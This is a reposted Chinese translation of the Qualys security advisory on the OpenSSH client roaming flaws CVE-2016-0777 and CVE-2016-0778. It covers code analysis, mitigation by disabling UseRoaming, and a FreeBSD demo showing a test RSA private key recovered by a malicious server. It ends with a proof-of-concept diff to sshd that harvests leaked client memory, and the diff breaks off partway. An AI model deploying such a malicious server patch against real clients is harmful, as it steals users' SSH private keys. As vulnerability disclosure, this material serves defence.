OpenSSH客户端漏洞:CVE-2016-0777和CVE-2016-0778

from:http://bobao.360.cn/learning/detail/2566.html?utm_source=tuicool&utm_medium=referral

from:https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt

OpenSSH客户端漏洞:CVE-2016-0777和CVE-2016-0778

CVE-2016-0777可通过构造ssh恶意服务器,有可能泄漏客户端的内存私钥

本文内容概览

|   信息综述

|   信息泄漏漏洞(CVE-2016-0777)

|   -漏洞分析

|   -私钥泄漏

|   -漏洞缓解方式

|   -实例

|   缓冲区溢出漏洞(CVE-2016-0778)

|   -漏洞分析

|   -私钥披露

|   -文件描述符泄漏

|   致谢

|   概念验证实例

信息综述

从5.4版开始(发布于2010年3月8日),OpenSSH客户端就提供了一个名为“roaming(漫游)”的功能(该功能并未记录在介绍文档中):如果客户端与SSH服务器的通信链接意外中断,当服务器同样支持roaming功能,那么客户端就可以与服务器重新连接,并重新恢复挂起的SSH会话操作。

虽然OpenSSH服务器并不支持roaming功能,但OpenSSH客户端是默认启用这一功能的,而这一功能却存在两个漏洞,恶意SSH服务器或者一台被入侵的可信服务器都可以利用这两个漏洞,并在目标系统中引起信息泄漏(内存泄漏)以及缓冲区溢出(基于堆的)。

在OpenSSH客户端的默认配置下,内存泄漏漏洞是可以直接被攻击者利用的。这个漏洞允许一台恶意SSH服务器直接窃取客户端的私钥,但是具体情况取决于客户端版本,编译器,以及操作系统。很多恶意攻击者可能已经在利用这一信息泄漏漏洞了,一些热门网站或者网络名人也许需要去重新生成他们的SSH密钥了。

另一方面,OpenSSH客户端在默认配置下,也存在一个缓冲区溢出漏洞。但如果攻击者要利用这个漏洞,还需要两个非默认的配置选项:其一为ProxyCommand,第二个选项为ForwardAgent(-A)或ForwardX11(-X)。因此,这个缓冲区溢出漏洞不太可能会对用户产生什么实际影响,但这一漏洞却非常值得我们进行研究和分析。

版本号在5.4至7.1之间的OpenSSH客户端均存在着两个漏洞,但解决这一问题却是非常简单的,用户只需要将“UseRoaming”选项设置为“no”即可,具体信息我们将在漏洞缓解方式这一章节中进行详细讲解。7.1p2版本的OpenSSH客户端(发布于2016年1月14日)默认禁用了roaming功能。

信息泄漏漏洞(CVE-2016-0777)

漏洞分析

如果OpenSSH客户端与一个提供密钥交换算法的SSH服务器进行了连接,那么在身份验证成功之后,它会向服务器发送一个全局请求“[email protected]”。如果服务器接受了这个请求,客户端便会通过调用malloc()函数(并非调用calloc()),并根据out_buf_size的值来为roaming功能分配一个缓冲区(即out_buf),需要注意的是out_buf_size的值是由服务器进行随机选取的:

        

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
63  void
          64 roaming_reply( int  type, u_int32_t seq,  void  *ctxt)
          65 {
          66          if  (type == SSH2_MSG_REQUEST_FAILURE) {
          67                 logit( "Server denied roaming" );
          68                  return ;
          69         }
          70         verbose( "Roaming enabled" );
          ..
          75         set_out_buffer_size(packet_get_int() + get_snd_buf_size());
          ..
          77 }
          40  static  size_t  out_buf_size = 0;
          41  static  char  *out_buf = NULL;
          42  static  size_t  out_start;
          43  static  size_t  out_last;
          ..
          75  void
          76 set_out_buffer_size( size_t  size)
          77 {
          78          if  (size == 0 || size > MAX_ROAMBUF)
          79                 fatal( "%s: bad buffer size %lu" , __func__, (u_long)size);
          80          /*
          81          * The buffer size can only be set once and the buffer will live
          82          * as long as the session lives.
          83          */
          84          if  (out_buf == NULL) {
          85                 out_buf_size = size;
          86                 out_buf = xmalloc(size);
          87                 out_start = 0;
          88                 out_last = 0;
          89         }
          90 }


        在客户端与SSH服务器的通信链接意外断开之后,OpenSSH客户端的roaming_write()函数(该函数是write()函数的升级版)会调用wait_for_roaming_reconnect(),并恢复与服务器的连接。该函数还会调用buf_append()函数,该函数可以将客户端发送至服务器的数据信息拷贝到roaming缓冲区out_buf之中。在重新连接的过程中,由于之前的通信连接意外断开,因此客户端会将服务器未接收到的信息重新发送给服务器。

       

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  198  void
         199 resend_bytes( int  fd, u_int64_t *offset)
         200 {
         201          size_t  available, needed;
         202
         203          if  (out_start < out_last)
         204                 available = out_last - out_start;
         205          else
         206                 available = out_buf_size;
         207         needed = write_bytes - *offset;
         208         debug3( "resend_bytes: resend %lu bytes from %llu" ,
         209             (unsigned  long )needed, (unsigned  long  long )*offset);
         210          if  (needed > available)
         211                 fatal( "Needed to resend more data than in the cache" );
         212          if  (out_last < needed) {
         213                  int  chunkend = needed - out_last;
         214                 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,
         215                     chunkend);
         216                 atomicio(vwrite, fd, out_buf, out_last);
         217         }  else  {
         218                 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);
         219         }
         220 }


        在OpenSSH客户端的roaming缓冲区out_buf之中,最近发送至服务器的数据起始于索引out_start处,结束于索引out_last。当这一环形缓冲区满了之后,buf_append()仍然会继续进行“out_start = out_last + 1”计算,这样一来,我们就要考虑下列三种不同的情况了:

        -"out_start < out_last" (203-204行):out_buf的空间目前还没有满(out_start仍然为0),此时out_buf中的数据总量实际上为“out_last - out_start”;

        -"out_start > out_last" (205-206行):out_buf已满(out_start实际上等于“out_last + 1”),此时out_buf中的数据总量实际上就等于整个out_buf_size的大小;

        -"out_start == out_last" (205-206行):out-buf中并没有写入任何数据(此时out_start和out_last仍然为0),因为客户端在调用了roaming_reply()函数之后,并没有向服务器发送任何的数据,但是在                    out_buf_size的值存在的情况下,客户端却会将整个未初始化的out_buf发送(泄漏)给了服务器(214行)。

        恶意服务器可以成功利用这个信息泄漏漏洞,并从OpenSSH客户端的内存中提取出敏感信息(比如说,SSH私钥,或者在下一步攻击中需要用到的内存地址信息)。

        私钥泄漏

        一开始我们认为,恶意SSH服务器是无法利用这个存在于OpenSSH客户端roaming功能代码中的信息泄漏漏洞窃取客户端的私钥信息的,因为:

        -泄漏出来的信息是无法从越界内存中读取的,但是却可以从客户端的roaming 缓冲区out_buf中读取出来;

        -系统会从磁盘中读取私钥信息,并将其加载至内存之中,并且通过key_free()函数(旧版本的API,OpenSSH < 6.7)或者sshkey_free()函数(新版本的API,OpenSSH>=  6.7)进行释放,这两个函数会通过OPENSSL_cleanse()或者explicit_bzero()来清除私钥信息。

        -客户端会调用buffer_free()或者sshbuf_free()来清除内存中的临时私钥副本,这两个函数都会尝试使用memset()或bzero()来清除这些副本信息。

        但是,在我们进行了实验和分析之后最终发现,虽然上面给出的三点原因并没有问题,但我们仍然可以利用这个信息泄漏漏洞部分或全部提取出OpenSSH客户端中的私钥信息(具体情况取决于客户端版本,编译器,操作系统,堆布局,以及私钥):

        (除了这些原因之外,还有一些其他的理由,我们将会在后面的讲解中提到这些信息)

        1.如果客户端使用fopen()(或者fdopen(),fgets(),以及fclose())来将一个SSH私钥从磁盘中加载至内存,那么这个私钥的部分信息或者完整信息都会遗留在内存之中。实际上,这些函数都会对他们自己的内部缓冲区进行管理,这些缓冲区是否被清空取决于OpenSSH客户端的代码库,而不是取决于OpenSSH本身。

        -在所有存在漏洞的OpenSSH版本中,SSH的main()函数会调用load_public_identity_files(),该函数会调用fopen(),fgets(),以及fclose()来加载客户端的公钥信息。不幸的是,私钥会首先被加载,然后被丢弃。

        -在版本号<=5.6的OpenSSH中,load_identity_file()函数会通过fdopen()和PEM_read_privateKey()来加载一个私钥。

        2. 在版本号>=5.9的OpenSSH中,客户端的load_identity_file()函数会利用read()从一个长度为1024字节的内存区域中读取私钥信息。不幸的是,对realloc()的重复调用会将私钥的部分信息遗留在内存中无法完全清除。

        -在版本号<6.7的OpenSSH中(旧版API),这种变长缓冲区的初始大小为4096个字节:如果私钥文件的大小大于4K,那么这个私钥文件的部分数据会遗留在内存之中(一个大小为3K的副本信息保存在一个4K大小的缓冲区中)。幸运的是,只有一个非常大的RSA密钥(比如说,一个8192位的RSA密钥)其大小才会超过4K。

        -在版本号>=6.7的OpenSSH中(新版API),这种变长缓冲区的初始大小为256个字节:如果私钥文件的大小大于1K,那么这个私钥文件的部分数据会遗留在内存之中(一个大小为1K的副本信息保存在一个1K大小的缓冲区中)。比如说,初始大小为2048位的RSA密钥其大小就超过了1K。

        如果你需要了解更多的信息,请访问下列地址:

        https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources

        https://cwe.mitre.org/data/definitions/244.html

        漏洞缓解方案

        所有版本号大于或等于5.4的OpenSSH客户端都会受到这些漏洞的影响,但是我们可以通过下列操作来降低这些漏洞对我们所产生的影响:

        1.存在漏洞的roaming功能代码可以被永久禁用:在系统配置文件中,将“UseRoaming”选项设置为“no”(系统配置文件一般在/etc/ssh/ssh_config下),用户也可以使用命令行来进行设置(-o "UseRoaming no")。

        2.如果OpenSSH客户端与带有roaming功能的SSH服务器意外断开了连接,高级用户在接收到系统提示信息后,可能会按下Control+C或者Control+Z,并以此来避免信息泄漏:

        # "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

        $ /usr/bin/ssh -p 222 127.0.0.1

        [connection suspended, press return to resume]^Z

        [1]+  Stopped                 /usr/bin/ssh -p 222 127.0.0.1

        私钥泄漏实例:FreeBSD 10.0,2048位RSA密钥

        $ head -n 1 /etc/motd

        FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014

        $ /usr/bin/ssh -V

        OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013

        $ cat ~/.ssh/id_rsa

       

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  -----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c /dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy +1T
M3 /74toaLj28kwbQjTPKhENMlqe +QVH7pH3kdun92SEqzKr7Pjx4 /2YzAbAlZpT0
9Zj /bOgA7KYWfjvJ0E9QQZaY68nEB4 +vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm /A/VvDlNa/2 +gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY /tLdXZu9nWa5oFTVZYmk
oayzU /WvYDpUgx7LB1tU +HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ /eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O /PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH /es +O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8 /h/toXua1nv/5pruro +G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp /nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB +ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL /mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj /akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
vOzVcOC+Y /wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi
/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE
K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G /0mbZYJdBr
+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0 /QApLAUsa +l26qLb8V+yDCZ+n
UxvMSgpRinkMFK /Je0L +IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7
qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11
1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ /Sp8dXCKHjBK/kSdW3U8SJPjV
pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=
         -----END RSA PRIVATE KEY-----


       

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  # env ROAMING="client_out_buf_size:1280" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
/usr/bin/ssh  -p 222 127.0.0.1
[email protected]'s password:
[connection suspended, press  return  to resume][connection resumed]
# cat /tmp/roaming-97ed9f59/infoleak
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c /dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy +1T
M3 /74toaLj28kwbQjTPKhENMlqe +QVH7pH3kdun92SEqzKr7Pjx4 /2YzAbAlZpT0
9Zj /bOgA7KYWfjvJ0E9QQZaY68nEB4 +vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm /A/VvDlNa/2 +gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY /tLdXZu9nWa5oFTVZYmk
oayzU /WvYDpUgx7LB1tU +HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ /eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O /PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH /es +O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8 /h/toXua1nv/5pruro +G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp /nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB +ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL /mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj /akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme


        缓冲区溢出漏洞的缓解方案(CVE-2016-0778)

        所有大于或等于5.4版本的OpenSSH客户端都存在这个缓冲区溢出漏洞,但是这个漏洞也是有相应的漏洞缓解方案的,具体信息请查看原文。

        致谢

        在此,我们要感谢OpenSSH的开发人员,感谢他们的辛勤工作以及对我们的信息给予了迅速的回应。除此之外,我们还要感谢红帽安全部门为这两个漏洞分配了CVE-ID。

        概念验证实例

        

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c
         --- openssh-6.4p1/auth2-pubkey.c  2013-07-17 23:10:10.000000000 -0700
         +++ openssh-6.4p1+roaming/auth2-pubkey.c     2016-01-07 01:04:15.000000000 -0800
         @@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)
                       if  a user is not allowed to login. is  this  an
                       * issue? -markus
                       */
         -              if  (PRIVSEP(user_key_allowed(authctxt->pw, key))) {
         +             if  (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) {
         +                   debug( "%s: force client-side load_identity_file" ,
         +                       __func__);
                             packet_start(SSH2_MSG_USERAUTH_PK_OK);
                             packet_put_string(pkalg, alen);
                             packet_put_string(pkblob, blen);
         diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c
         --- openssh-6.4p1/kex.c    2013-06-01 14:31:18.000000000 -0700
         +++ openssh-6.4p1+roaming/kex.c       2016-01-07 01:04:15.000000000 -0800
         @@ -442,6 +442,73 @@ proposals_match( char  *my[PROPOSAL_MAX],
          }
          static  void
         +roaming_reconnect( void )
         +{
         +     packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);
         +      const  u_int id = packet_get_int();  /* roaming_id */
+     debug( "%s: id %u" , __func__, id);
+     packet_check_eom();
+
+      const  char  * const  dir = get_roaming_dir(id);
+     debug( "%s: dir %s" , __func__, dir);
+      const  int  fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+      if  (fd <= -1)
+            fatal( "%s: open %s errno %d" , __func__, dir,  errno );
+      if  (fchdir(fd) != 0)
+            fatal( "%s: fchdir %s errno %d" , __func__, dir,  errno );
+      if  (close(fd) != 0)
+            fatal( "%s: close %s errno %d" , __func__, dir,  errno );
+
+     packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);
+     packet_put_int64(arc4random());  /* chall */
+     packet_put_int64(arc4random());  /* oldchall */
+     packet_send();
+
+     packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);
+      const  u_int64_t client_read_bytes = packet_get_int64();
+     debug( "%s: client_read_bytes %llu" , __func__,
+         (unsigned  long  long )client_read_bytes);
+     packet_get_int64();  /* digest (1-8) */
+     packet_get_int64();  /* digest (9-16) */
+     packet_get_int();    /* digest (17-20) */
+     packet_check_eom();
+
+     u_int64_t client_write_bytes;
+      size_t  len =  sizeof (client_write_bytes);
+     load_roaming_file( "client_write_bytes" , &client_write_bytes, &len);
+     debug( "%s: client_write_bytes %llu" , __func__,
+         (unsigned  long  long )client_write_bytes);
+
+     u_int client_out_buf_size;
+     len =  sizeof (client_out_buf_size);
+     load_roaming_file( "client_out_buf_size" , &client_out_buf_size, &len);
+     debug( "%s: client_out_buf_size %u" , __func__, client_out_buf_size);
+      if  (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF)
+            fatal( "%s: client_out_buf_size %u" , __func__,
+                      client_out_buf_size);
+
+     packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);
+     packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);
+     packet_send();
+      const  int  overflow = (access( "output" , F_OK) == 0);
+      if  (overflow != 0) {
+             const  void  * const  ptr = load_roaming_file( "output" , NULL, &len);
+            buffer_append(packet_get_output(), ptr, len);
+     }
+     packet_write_wait();
+
+      char  * const  client_out_buf = xmalloc(client_out_buf_size);
+      if  (atomicio(read, packet_get_connection_in(), client_out_buf,
+                          client_out_buf_size) != client_out_buf_size)
+            fatal( "%s: read client_out_buf_size %u errno %d" , __func__,
+                          client_out_buf_size,  errno );
+      if  (overflow == 0)
+            dump_roaming_file( "infoleak" , client_out_buf,
+                                       client_out_buf_size);
+     fatal( "%s: all done for %s" , __func__, dir);
+}
+
+ static  void
  kex_choose_conf(Kex *kex)
  {
       Newkeys *newkeys;
@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)
                     kex->roaming = 1;
                     free (roaming);
              }
+     }  else  if  ( strcmp (peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {
+            roaming_reconnect();
+             /* NOTREACHED */
+            fatal( "%s: returned from %s" , __func__, KEX_RESUME);
       }
       /* Algorithm Negotiation */
diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h
--- openssh-6.4p1/roaming.h   2011-12-18 15:52:52.000000000 -0800
+++ openssh-6.4p1+roaming/roaming.h      2016-01-07 01:04:15.000000000 -0800
@@ -42,4 +42,86 @@  void      resend_bytes( int , u_int64_t *);
  void      calculate_new_key(u_int64_t *, u_int64_t, u_int64_t);


你可能感兴趣的:(安全)